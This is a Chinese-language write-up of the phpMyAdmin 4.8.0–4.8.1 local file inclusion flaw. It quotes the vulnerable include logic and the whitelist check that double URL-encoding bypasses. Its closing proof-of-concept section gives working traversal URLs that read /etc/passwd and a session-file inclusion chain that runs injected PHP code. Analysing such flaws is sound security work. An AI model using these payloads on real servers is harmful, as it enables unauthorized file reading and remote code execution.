原理
在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
影响范围
- phpMyAdmin 4.8.0
phpMyAdmin 4.8.1
危害
任意文件读取以及命令执行。
漏洞分析
漏洞问题出在index.php中的如下代码:
- target 参数不为空,并且为字符串
- target 参数不能以index开头
- target 参数不能出现在 $target_blacklist 内
- target 参数没有过滤,并且直接include包含文件
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
黑名单$target_blacklist
包含的文件名:
$target_blacklist = array (
'import.php', 'export.php'
);
白名单检查可利用URLdecode绕过
# phpMyAdmin/libraries/classes/core.php
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//只要把 ? 两次url编码为 %253f ,且target 参数必须是在白名单内,即可绕过验证。
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
白名单列表:
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
POC & EXP
1. 文件读取
读取 /etc/passwd
文件,payload如下:
http://your-ip:port/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
2. 命令执行
执行如下SQL命令
select '<?php echo `ls` ?>';
# 或者写入phpinfo
select '<?php phpinfo();?>';
利用cookie值构造对应的session文件名,payload如下:
cookie: phpMyAdmin=3316u390mj29duji7ijprkqs33; pma_lang=zh_CN
视情况而定
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3316u390mj29duji7ijprkqs33
# 或者
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_3316u390mj29duji7ijprkqs33